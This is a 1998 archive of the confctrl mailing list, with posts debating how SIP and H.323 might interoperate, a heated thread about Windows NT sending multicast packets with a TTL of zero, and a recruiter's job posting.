Organization: ObjectSoftware, Inc.
X-Mailer: Mozilla 4.04 [en] (X11; I; Linux 2.0.33 i586)
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Alok Mittal <amittal@hss.hns.com>, confctrl@ISI.EDU
Subject: Re: What is the view towards H.323?
References: <000201be0c08$1994b3c0$f0e323a6@sinnreich2.mcit.com> <3648ECC0.2E01F6F4@obsoft.com> <36490566.C46EE1A7@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Greetings:

Henning Schulzrinne wrote:

> Bobby Sardana wrote:
> >
> > Greetings:
> >
> > Henry Sinnreich wrote:
> >
> > > > 3. SIP and H.323 interoperate -- Session Initiation in SIP and
> > > > then H.323 takes over
> > >
> > > Definitely yes, know of several implementations.
> >
> > Henry, would it be possible for you to share with this forum the list of these
> > so called
> > *several implementations*. Are these just simulated prototypes or working
> > models? I would definitely be interested in these implementations.
>
> http://www.cs.columbia.edu/~hgs/sip has a list of implementations in
> various stages of completion/working. If you have others you'd like me
> to add, please do.

I  briefly checked all the implementations & their descriptions but could notfind
any relevant descriptions that outline:

a. The complete message flow of how SIP & H.323 interoperate.
b. Recommendations or proprietary guidelines of how implementations like
     PacketStar IP are perfoming such integration.

Maybe, it's too early in the ball-game to be demanding such information.
Anyhow, I feel that either I am missing some information or most of the
implementations are using non-standard proprietary message flow.

Thanks for the input.

Bobby Sardana.
sardana@obsoft.com

>


From confctrl-owner  Tue Nov 10 23:27:25 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA02946
	for confctrl-outgoing; Tue, 10 Nov 1998 23:27:25 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA02941
	for <confctrl@zephyr.isi.edu>; Tue, 10 Nov 1998 23:27:24 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA22904
	for <confctrl@ISI.EDU>; Tue, 10 Nov 1998 23:27:22 -0800 (PST)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.02325-0@bells.cs.ucl.ac.uk>; Wed, 11 Nov 1998 07:27:14 +0000
To: Amritansh Raghav <amritanr@MICROSOFT.com>
cc: Colin Perkins <C.Perkins@cs.ucl.ac.uk>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>, confctrl@ISI.EDU
Subject: Re: TTL of zero in WinNT?
In-reply-to: Your message of "Tue, 10 Nov 1998 11:56:35 PST." <ED7E7104F236D11190D800805FFE89950A2D1F24@RED-MSG-49>
Date: Wed, 11 Nov 1998 07:27:11 +0100
Message-ID: <8129.910769231@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 >>and, as usual, you would be wrong.

makes a  change from microsoft then  :-)
 
 >>anyways - i just tried this and NT defaults to a ttl of 1 if you dont
 >>setsockopt IP_MULTICAST_TTL, otherwise sets the ttl to the value passed for
 >>the socket option (and will accept 0).

its not what it accepts, itwhat it DOES wth TTL00...

 >>i used a small test program (attached, quick cut and paste from someone
 >>elses test)which sends UDP packets. seems to work as expected on NT4 SP4.
 >>If you can send me more info as to what exactly the program is doing, i
 >>would be glad to look at it.

yes but no thanks.
 >
 >>> this wouldn't hapen in a millenium of halloweens with linux:-)
 >>> 
 >>
 >>once it runs a fully multithreaded kernel with fine grain locking on an mp
 >>alpha...

how about settling for  runnig reliably and correcly on 
a single processora first as the baseline comparison - 
that is the _point_ of the time based
joke? :-)
 >>
 >>
 >>
 >>begin 600 test.c

ta very much for yourcommercial strength insight and comment on my
exrtise - next time check wth your employer before making
legally actionable (and provably incorrect) asertions
 about someone elses techical ability in a
public forum.
j.

From confctrl-owner  Wed Nov 11 00:19:19 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA04841
	for confctrl-outgoing; Wed, 11 Nov 1998 00:19:19 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA04836
	for <confctrl@zephyr.isi.edu>; Wed, 11 Nov 1998 00:19:18 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA24479
	for <confctrl@ISI.EDU>; Wed, 11 Nov 1998 00:19:17 -0800 (PST)
Received: from hocus.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.03765-0@bells.cs.ucl.ac.uk>; Wed, 11 Nov 1998 08:19:06 +0000
To: Amritansh Raghav <amritanr@MICROSOFT.com>
cc: confctrl@ISI.EDU
Subject: Re: [Fwd: TTL of zero in WinNT?]
In-reply-to: Your message of "Tue, 10 Nov 1998 14:15:36 PST." <ED7E7104F236D11190D800805FFE89950A2D1F29@RED-MSG-49>
Date: Wed, 11 Nov 1998 08:19:03 +0100
Message-ID: <505.910772343@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


In message <ED7E7104F236D11190D800805FFE89950A2D1F29@RED-MSG-49>, Amritansh Rag
hav typed:

 >>like I said:
 >>NT will set the TTL to either 1, or the value set via setsockopt - and a
 >>value of 0 is accepted. (the #if 0 was to send with default).

yes, but NT still does the wrong thing

 >>sorry if my tone was harsh - it wasnt directed at the folks who reported the
 >>bug, rather at the random hypotheses being flung around.

it wasn't RANDOM - it was based on havign access to windows network
device driver code

and it was an informed attempt to help YOU (microsoft) correct things
by the way, so your "gratitude" is noted and will be factored into
future priotorization  of our copious time.

you lose.


 >>> -----Original Message-----
 >>> From: Igor Slepchin [mailto:igors@bell-labs.com]
 >>> Sent: Tuesday, November 10, 1998 2:00 PM
 >>> To: Amritansh Raghav
 >>> Cc: Jonathan D. Rosenberg; 'Jon Crowcroft'; Colin Perkins;
 >>> confctrl@ISI.EDU
 >>> Subject: Re: [Fwd: TTL of zero in WinNT?]
 >>> 
 >>> 
 >>> Unfortunately, Mr. Raghav's code doesn't work (even after 
 >>> removing #if 0
 >>> -#endif around the code that sets TTL). In fact, that code does
 >>> precisely what we complained about: it _does_ set the TTL to 
 >>> 0 but then
 >>> it happily sends those datagrams onto the network where they 
 >>> are picked
 >>> up by tcpdump running on a Linux host. This is what happens when i
 >>> specify the real IP address as an outgoing interface. If I bind the
 >>> socket to 127.0.0.1 instead (cute hack, right?), the 
 >>> datagrams are _not_
 >>> sent to the network (hurray?) Alas, they are not sent anywhere else
 >>> either: another app on the same machine listening to the same mcast
 >>> group doesn't receive anything.
 >>> 
 >>> I don't think this is the way anybody but Microsoft would 
 >>> expect that to
 >>> work.
 >>> 
 >>> BTW, this is a confirmed bug: see article Q138268 on msdn
 >>> (http://support.microsoft.com/support/kb/articles/q138/2/68.asp)
 >>> 
 >>> ---
 >>> Igor Slepchin
 >>> 
 >>> Jonathan Rosenberg wrote:
 >>> > 
 >>> > alas, Microsoft speaks (harshly, in fact)
 >>> > 
 >>> > try this fix and see if it helps.
 >>> > --
 >>> > Jonathan D. Rosenberg                       Lucent Technologies
 >>> > Member of Technical Staff                   101 Crawfords Corner Rd.
 >>> > High Speed Networks Research                Holmdel, NJ 07733
 >>> > FAX:   (732) 834-5379                       Rm. 4C-526
 >>> > EMAIL: jdrosen@bell-labs.com
 >>> > URL: http://www.cs.columbia.edu/~jdrosen
 >>> > 
 >>> >   
 >>> --------------------------------------------------------------
> ----------
 >>> > 
 >>> > Subject: RE: TTL of zero in WinNT?
 >>> > Date: Tue, 10 Nov 1998 11:56:35 -0800
 >>> > From: Amritansh Raghav <amritanr@MICROSOFT.com>
 >>> > To: "'Jon Crowcroft'" <J.Crowcroft@cs.ucl.ac.uk>,
 >>> >      Colin Perkins
 >>> >      <C.Perkins@cs.ucl.ac.uk>
 >>> > CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>, 
 >>> confctrl@ISI.EDU
 >>> > 
 >>> > > -----Original Message-----
 >>> > > From: Jon Crowcroft [mailto:J.Crowcroft@cs.ucl.ac.uk]
 >>> > >
 >>> > > In message <1198.910698317@cs.ucl.ac.uk>, Colin Perkins typed:
 >>> > >
 >>> > >  >>--> Jonathan Rosenberg writes:
 >>> > >  >>>Has anyone had any experience with sending multicast
 >>> > > packets with a TTL
 >>> > >  >>>of 0 under WinNT? We are getting the bizarre result that
 >>> > > Windows sets
 >>> > >  >>>the TTL to zero, but sends the packets anyway.. We kind
 >>> > > of need this for
 >>> > >  >>>all of these conference bus schemes.
 >>> > >
 >>> > >  >>I'm seeing the same problem -- WinNT 4.0 with service pack
 >>> > > 4 installed.
 >>> > >
 >>> > > Colin
 >>> > >
 >>> > > hypothesis - some smart NT soft-person uses loopback in a
 >>> > > link level driver to
 >>> > > loop multicast packets, instead of havign a general abstraction of
 >>> > > loopback drivers, then forgets that by the time they get to the
 >>> > > link/mac level they cannot check the TTL, so they see a multicast
 >>> > > packet, loop it back, but send it on the wire with TTL=0
 >>> > >
 >>> > > oops
 >>> > 
 >>> > and, as usual, you would be wrong.
 >>> > 
 >>> > anyways - i just tried this and NT defaults to a ttl of 1 
 >>> if you dont
 >>> > setsockopt IP_MULTICAST_TTL, otherwise sets the ttl to the 
 >>> value passed for
 >>> > the socket option (and will accept 0).
 >>> > 
 >>> > i used a small test program (attached, quick cut and paste 
 >>> from someone
 >>> > elses test)which sends UDP packets. seems to work as 
 >>> expected on NT4 SP4.
 >>> > If you can send me more info as to what exactly the program 
 >>> is doing, i
 >>> > would be glad to look at it.
 >>> > 
 >>> > >
 >>> > > j.
 >>> > > this wouldn't hapen in a millenium of halloweens with linux:-)
 >>> > >
 >>> > 
 >>> > once it runs a fully multithreaded kernel with fine grain 
 >>> locking on an mp
 >>> > alpha...
 >>> > 
 >>> > < ..some uuencoded stuff removed..>
 >>> 

 cheers

   jon


From confctrl-owner  Wed Nov 11 14:53:28 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA13291
	for confctrl-outgoing; Wed, 11 Nov 1998 14:53:28 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA13286
	for <confctrl@zephyr.isi.edu>; Wed, 11 Nov 1998 14:53:26 -0800 (PST)
Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA00672
	for <confctrl@ISI.EDU>; Wed, 11 Nov 1998 14:53:24 -0800 (PST)
Received: by mail2.microsoft.com with Internet Mail Service (5.5.2232.9)
	id <WMKTW9Z9>; Wed, 11 Nov 1998 14:52:53 -0800
Message-ID: <ED7E7104F236D11190D800805FFE89950A2D1F44@RED-MSG-49>
From: Amritansh Raghav <amritanr@MICROSOFT.com>
To: "'Igor Slepchin'" <igors@bell-labs.com>
Cc: "'Jonathan D. Rosenberg'" <jdrosen@dnrc.bell-labs.com>,
        "'Jon Crowcroft'" <J.Crowcroft@cs.ucl.ac.uk>,
        "'Colin Perkins'"
	 <C.Perkins@cs.ucl.ac.uk>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: [Fwd: TTL of zero in WinNT?]
Date: Wed, 11 Nov 1998 14:52:53 -0800
X-Mailer: Internet Mail Service (5.5.2232.9)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

the problem is fixed in nt5 and will be ported back to nt4.
the stack needed to set the right flags on the packet to tell the software
loopback component to only loopback and not transmit.


> -----Original Message-----
> From: Amritansh Raghav 
> Sent: Tuesday, November 10, 1998 2:16 PM
> To: 'Igor Slepchin'
> Cc: Jonathan D. Rosenberg; 'Jon Crowcroft'; Colin Perkins;
> confctrl@ISI.EDU
> Subject: RE: [Fwd: TTL of zero in WinNT?]
> 
> 
> like I said:
> NT will set the TTL to either 1, or the value set via 
> setsockopt - and a value of 0 is accepted. (the #if 0 was to 
> send with default).
> 
> sorry if my tone was harsh - it wasnt directed at the folks 
> who reported the bug, rather at the random hypotheses being 
> flung around.
> 
> > -----Original Message-----
> > From: Igor Slepchin [mailto:igors@bell-labs.com]
> > Sent: Tuesday, November 10, 1998 2:00 PM
> > To: Amritansh Raghav
> > Cc: Jonathan D. Rosenberg; 'Jon Crowcroft'; Colin Perkins;
> > confctrl@ISI.EDU
> > Subject: Re: [Fwd: TTL of zero in WinNT?]
> > 
> > 
> > Unfortunately, Mr. Raghav's code doesn't work (even after 
> > removing #if 0
> > -#endif around the code that sets TTL). In fact, that code does
> > precisely what we complained about: it _does_ set the TTL to 
> > 0 but then
> > it happily sends those datagrams onto the network where they 
> > are picked
> > up by tcpdump running on a Linux host. This is what happens when i
> > specify the real IP address as an outgoing interface. If I bind the
> > socket to 127.0.0.1 instead (cute hack, right?), the 
> > datagrams are _not_
> > sent to the network (hurray?) Alas, they are not sent anywhere else
> > either: another app on the same machine listening to the same mcast
> > group doesn't receive anything.
> > 
> > I don't think this is the way anybody but Microsoft would 
> > expect that to
> > work.
> > 
> > BTW, this is a confirmed bug: see article Q138268 on msdn
> > (http://support.microsoft.com/support/kb/articles/q138/2/68.asp)
> > 
> > ---
> > Igor Slepchin
> > 
> > Jonathan Rosenberg wrote:
> > > 
> > > alas, Microsoft speaks (harshly, in fact)
> > > 
> > > try this fix and see if it helps.
> > > --
> > > Jonathan D. Rosenberg                       Lucent Technologies
> > > Member of Technical Staff                   101 Crawfords 
> Corner Rd.
> > > High Speed Networks Research                Holmdel, NJ 07733
> > > FAX:   (732) 834-5379                       Rm. 4C-526
> > > EMAIL: jdrosen@bell-labs.com
> > > URL: http://www.cs.columbia.edu/~jdrosen
> > > 
> > >   
> > --------------------------------------------------------------
> > ----------
> > > 
> > > Subject: RE: TTL of zero in WinNT?
> > > Date: Tue, 10 Nov 1998 11:56:35 -0800
> > > From: Amritansh Raghav <amritanr@MICROSOFT.com>
> > > To: "'Jon Crowcroft'" <J.Crowcroft@cs.ucl.ac.uk>,
> > >      Colin Perkins
> > >      <C.Perkins@cs.ucl.ac.uk>
> > > CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>, 
> > confctrl@ISI.EDU
> > > 
> > > > -----Original Message-----
> > > > From: Jon Crowcroft [mailto:J.Crowcroft@cs.ucl.ac.uk]
> > > >
> > > > In message <1198.910698317@cs.ucl.ac.uk>, Colin Perkins typed:
> > > >
> > > >  >>--> Jonathan Rosenberg writes:
> > > >  >>>Has anyone had any experience with sending multicast
> > > > packets with a TTL
> > > >  >>>of 0 under WinNT? We are getting the bizarre result that
> > > > Windows sets
> > > >  >>>the TTL to zero, but sends the packets anyway.. We kind
> > > > of need this for
> > > >  >>>all of these conference bus schemes.
> > > >
> > > >  >>I'm seeing the same problem -- WinNT 4.0 with service pack
> > > > 4 installed.
> > > >
> > > > Colin
> > > >
> > > > hypothesis - some smart NT soft-person uses loopback in a
> > > > link level driver to
> > > > loop multicast packets, instead of havign a general 
> abstraction of
> > > > loopback drivers, then forgets that by the time they get to the
> > > > link/mac level they cannot check the TTL, so they see a 
> multicast
> > > > packet, loop it back, but send it on the wire with TTL=0
> > > >
> > > > oops
> > > 
> > > and, as usual, you would be wrong.
> > > 
> > > anyways - i just tried this and NT defaults to a ttl of 1 
> > if you dont
> > > setsockopt IP_MULTICAST_TTL, otherwise sets the ttl to the 
> > value passed for
> > > the socket option (and will accept 0).
> > > 
> > > i used a small test program (attached, quick cut and paste 
> > from someone
> > > elses test)which sends UDP packets. seems to work as 
> > expected on NT4 SP4.
> > > If you can send me more info as to what exactly the program 
> > is doing, i
> > > would be glad to look at it.
> > > 
> > > >
> > > > j.
> > > > this wouldn't hapen in a millenium of halloweens with linux:-)
> > > >
> > > 
> > > once it runs a fully multithreaded kernel with fine grain 
> > locking on an mp
> > > alpha...
> > > 
> > > < ..some uuencoded stuff removed..>
> > 
> 

From confctrl-owner  Thu Nov 12 00:41:37 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA07473
	for confctrl-outgoing; Thu, 12 Nov 1998 00:41:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA07468
	for <confctrl@zephyr.isi.edu>; Thu, 12 Nov 1998 00:41:35 -0800 (PST)
Received: from ifi.uio.no (0@ifi.uio.no [129.240.64.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA05524
	for <confctrl@ISI.EDU>; Thu, 12 Nov 1998 00:41:33 -0800 (PST)
Received: from muspellsheim.ifi.uio.no (5219@muspellsheim.ifi.uio.no [129.240.64.144])
	by ifi.uio.no (8.8.8/8.8.7/ifi0.2) with SMTP id JAA18542
	for <confctrl@ISI.EDU>; Thu, 12 Nov 1998 09:41:31 +0100 (MET)
Message-ID: <364A9F3A.783E@ifi.uio.no>
Date: Thu, 12 Nov 1998 09:41:30 +0100
From: Eirik Maus <eirikma@ifi.uio.no>
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: [Fwd: Re: What is the view towards H.323?]
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Message-ID: <36471A85.6825@ifi.uio.no>
Date: Mon, 09 Nov 1998 17:38:29 +0100
From: Eirik Maus <eirikma@ifi.uio.no>
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Alok Mittal <amittal@hss.hns.com>
Subject: Re: What is the view towards H.323?
References: <01BE0BF4.865F4970@hss056.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi

Alok Mittal wrote:
> 
>  What I am interested in is the view members of this list to the picture that
>  might evolve in relation to SIP and h.323.
>
> 1. SIP has conceded to H.323

The developers of the specification will have to speak for themselves. 
I do, however, encourage them to continue working on SIP, as there
are a lot of reasons to create a better standard than H.323. 
Your view no. 2 (below), for instance, is one of them.
Most of the critizism you may find under Schultzrinne's 
SIP-pages still hold. 
The H.323 has serious flaws, even if the most acute 'bugs' will
be corrected by copying solutions from SIP.
The fact that H.323 is based on ASN.1 is by itself a good reason to
co create something better suited for computer programming. 

> 2. SIP and H.323 will converge, probably in H.323v3

I doubt that. see below.

> 3. SIP and H.323 interoperate -- Session Initiation in SIP and then H.323 takes over

H.323 is allready doing SIP-style initiation through Jumbograms (fast
setup) and 
UDP (Vocaltec suggestion). Most of the information exchanged is the same
as
the information exchanged during SIP-setup. It is thus not unreasonable
to say
that this has allready happened. The only difference is that the
signalling is
based on telecommunications-style signalling (Q.something/H.something
defined in ASN.1).
I think this difference is important to the major actors in this game:
The major telcos and suppliers like Ericsson, Nokia etc. 
They have invested huge amounts of money in developing products based on
these standards. 
Giving up  telecom standards as basis for the services will make it very
hard
to profit on these investments. They are watching the SIP-scene because
they are afraid
they might 'miss the train', just like Microsoft missed the internet
train. 
They do not, however, want SIP to be 'THE train', as this will make it
necessary to 
give up investments and start developing SIP-technology. 

Another reason is based on the logic of Telecom-standards. 
H.323 (and other) are buildt upon the assumption that it is the
responsibility (and profit-opportunity) of the access (or service-)
provider
to build and set up supplementary services. 
This is an important source of income for the telcos, and is built on
top of equipment delivered by the telco suppliers. 
SIP is more computer- and end-system-centric. Many supplementary
services will be implemented by student and small softeware companies.
These will run on ordinary computers in the user's office (or similar). 
The telcos and telco suppliers are watching SIP becacuse they are
1) afraid SIP might catch on. After all it is far better than H.323v1. 
2) afraid they might miss it if (God forbid) SIP catches on.

Running SIP as an inter-gateway protocol does not seem to dangerous as
people still are forced to use equipment based on "their" standards,
following
"their" logic. After all, something had to be done about the name
resolution 
"solution" found in H.323, and the SIP solution is good. 
Accepting SIP on user level opens up the posibility of students,
mini-firms etc
to become major suppliers of supplementary services software, taking
over
important segments of their market. 
No major firm wants to pave the way for the next Microsoft in (what used
to be,
one might add) their business domain. 

> 4. Interworking Gateways for SIP and H.323 -- here, however I have not seen
>     an argument which says *where* SIP makes more sense than H.323 and vice
>     versa (if one was absolutely better than the other, there wouldn't be a need for GW).

I've tried to sketch the message sequences necessary to provide
interoperation, 
but this is very difficult, especially if one wants to preserve 
backwards compatibility with pre fast-start h.323. 
This is due to:
- lack of expressiveness. Some H.245 media preferences are not
  possible to express using SDP. SDP is siply not strong enough.
  H.323, however, does not allow the equivalent of "Contact:" to
  contain more than one address, and it is difficult to change and still
  preserve backward compatibility. The fact that a name only has one
single
  address at a given instant is an underlying fact in the h.323 and its
related
  standards. The fact that there exist related standards, and the major
players
  have invested money developing for these standards, makes it unlikely
that
  extensions that are incompatible will be accepted. 

- information is exchanged in different order. SIP cannot open a
connection
  unless all media information is agreed upon. Basic H.323 will not
exchange
  this information until after the connection is established. 
  This problem is, however, the most easy to overcome. 

- Conference control is difficult to translate. There is no conference
control
  in SIP. It is, however, possible to build programs acting as
centralized
  conference-control as proxies. But how should the gateway handle 
  conference join invitations between SIP clients? This is strictly
illegal in H.323, 
  but the basis of conferencing in SIP. 

I would say that SIP generally makes more sense than H.323, but since
there is a 
major backing of H.323 by the leading providers of telecom, H.323 will
have
a lead in the beginning. 
The most killing fact is, of course, that H.323 has billing in place, 
whereas SIP does not. No service provider can live on delivering
free services, making H.323 the only choice. 
The billing service of one major player I know of is based on 
gatekeeper routed signalling, and the local gatekeeper generating
billing-events. It is a trivial task to build this in SIP, 
using a local proxy as "gatekeeper" and a firewall to prevent 
external calls not signalled through the proxy. 
But nobody seems to focus on other reasons than technology 
to establish and use SIP. The market players, of course, don't give a
damn
about the technology as long as they can earn money. 
And currently SIP seems more like a threat than a possibility
to do just that. 


b.r

Eirik Maus
Norwegian Computing Center*

* disclaimer: speeking only for myself



From confctrl-owner  Thu Nov 12 07:04:10 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA20292
	for confctrl-outgoing; Thu, 12 Nov 1998 07:04:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA20287
	for <confctrl@zephyr.isi.edu>; Thu, 12 Nov 1998 07:04:09 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA20593
	for <confctrl@ISI.EDU>; Thu, 12 Nov 1998 07:04:08 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id KAA18177; Thu, 12 Nov 1998 10:04:01 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Eirik Maus <eirikma@ifi.uio.no>
cc: confctrl@ISI.EDU
Subject: Re: [Fwd: Re: What is the view towards H.323?] 
In-reply-to: Your message of "Thu, 12 Nov 1998 09:41:30 +0100."
             <364A9F3A.783E@ifi.uio.no> 
Date: Thu, 12 Nov 1998 10:04:01 -0500
Message-ID: <18175.910883041@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>>  What I am interested in is the view members of this list to the picture tha
>t
>>  might evolve in relation to SIP and h.323.
>>
>> 1. SIP has conceded to H.323
>
>The developers of the specification will have to speak for themselves. 
>I do, however, encourage them to continue working on SIP, as there
>are a lot of reasons to create a better standard than H.323. 

I think I speak for all the SIP authors when I say we have every
intention of continuing working on SIP.

The market will decide what solutions, hybrid or otherwise, actually
end up being used.  If a protocol can't do what's required of it, it
will either get fixed or die.  

Cheers,
	Mark

From confctrl-owner  Thu Nov 12 07:39:33 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA21762
	for confctrl-outgoing; Thu, 12 Nov 1998 07:39:33 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA21757
	for <confctrl@zephyr.isi.edu>; Thu, 12 Nov 1998 07:39:31 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA22000
	for <confctrl@ISI.EDU>; Thu, 12 Nov 1998 07:39:27 -0800 (PST)
Received: from scary.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.25592-0@bells.cs.ucl.ac.uk>; Thu, 12 Nov 1998 15:38:50 +0000
To: Amritansh Raghav <amritanr@MICROSOFT.com>
cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: [Fwd: TTL of zero in WinNT?]
In-reply-to: Your message of "Wed, 11 Nov 1998 14:52:53 PST." <ED7E7104F236D11190D800805FFE89950A2D1F44@RED-MSG-49>
Date: Thu, 12 Nov 1998 15:38:49 +0100
Message-ID: <1100.910885129@cs.ucl.ac.uk>
From: Orion Hodson <O.Hodson@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<ED7E7104F236D11190D800805FFE89950A2D1F44@RED-MSG-49>Amritansh Raghav writes:
> the problem is fixed in nt5 and will be ported back to nt4.
> the stack needed to set the right flags on the packet to tell the software
> loopback component to only loopback and not transmit.

while you are at it...is the code base common with win95/98?  you
probably know the bug resides there too - it would be good if they all
worked the same :-)

cheers
- orion

From confctrl-owner  Thu Nov 12 10:44:38 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA02381
	for confctrl-outgoing; Thu, 12 Nov 1998 10:44:38 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA02376
	for <confctrl@zephyr.isi.edu>; Thu, 12 Nov 1998 10:44:37 -0800 (PST)
Received: from mail.candseek.com (mail.candseek.com [209.146.77.10])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA08631
	for <confctrl@isi.edu>; Thu, 12 Nov 1998 10:44:36 -0800 (PST)
Date: Thu, 12 Nov 1998 10:44:36 -0800 (PST)
From: mxm@candseek.com
Message-Id: <199811121844.KAA08631@tnt.isi.edu>
Received: from candseek.com ([209.146.77.254]) by mail.candseek.com
          (Post.Office MTA v3.5.1 release 219 ID# 0-55033U100L2S100V35)
          with SMTP id com for <confctrl@isi.edu>;
          Thu, 12 Nov 1998 12:44:43 -0500
To: confctrl@ISI.EDU
Subject: JOBOP Software Engineer
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Since your address was listed on a software engineering 
oriented site, I was hoping you could help me out. 

I am currently looking for individuals with a strong background 
in C++ development on a Windows NT platform.

I represent a leader in software development for the pharmaceutical,
cosmetic, and food industries specializing in customized 
Manufacturing Execution Systems. For this exciting, growth 
opportunity, I am looking for an individual to play a key role in 
gathering requirements from clients and relaying that information 
to an internal development team. In addition to acting as a 
liaison, this individual will also participate in the development 
of the system.

Position can work from Northern Virginia or Central Connecticut 
and we will assist in relocation expenses.

An ideal candidate will have at least 3 years of experience conducting 
C++ development on an NT platform. Communication skills are 
also important due to the interaction with both internal and 
external clients. Prior project management experience is a plus.

Salary to $90,000 with a generous benefits package.

If you know of anyone that might be interested, please forward 
this email or contact me directly.

Thank You,

Megan McCullough

Diedre Moire Corporation
510 Horizon Center
Robbinsville, NJ 08691
(609) 584-9000ext275
(609) 584-9575 (fax)
mxm@candseek.com





From confctrl-owner  Thu Nov 12 13:50:10 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA13209
	for confctrl-outgoing; Thu, 12 Nov 1998 13:50:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA13203
	for <confctrl@zephyr.isi.edu>; Thu, 12 Nov 1998 13:50:07 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA28429
	for <confctrl@ISI.EDU>; Thu, 12 Nov 1998 13:50:05 -0800 (PST)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Thu Nov 12 16:48:33 EST 1998
Received: from dnrc.bell-labs.com ([135.252.15.21])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id QAA03481;
	Thu, 12 Nov 1998 16:48:28 -0500 (EST)
Message-ID: <364B581B.66D9F271@dnrc.bell-labs.com>
Date: Fri, 13 Nov 1998 05:50:19 +0800
From: Ping Pan <pingpan@dnrc.bell-labs.com>
Organization: Bell Labs, Lucent Technologies
X-Mailer: Mozilla 4.07 [en] (Win95; U)
MIME-Version: 1.0
To: Eirik Maus <eirikma@ifi.uio.no>
CC: confctrl@ISI.EDU
Subject: Re: [Fwd: Re: What is the view towards H.323?]
References: <364A9F3A.783E@ifi.uio.no>
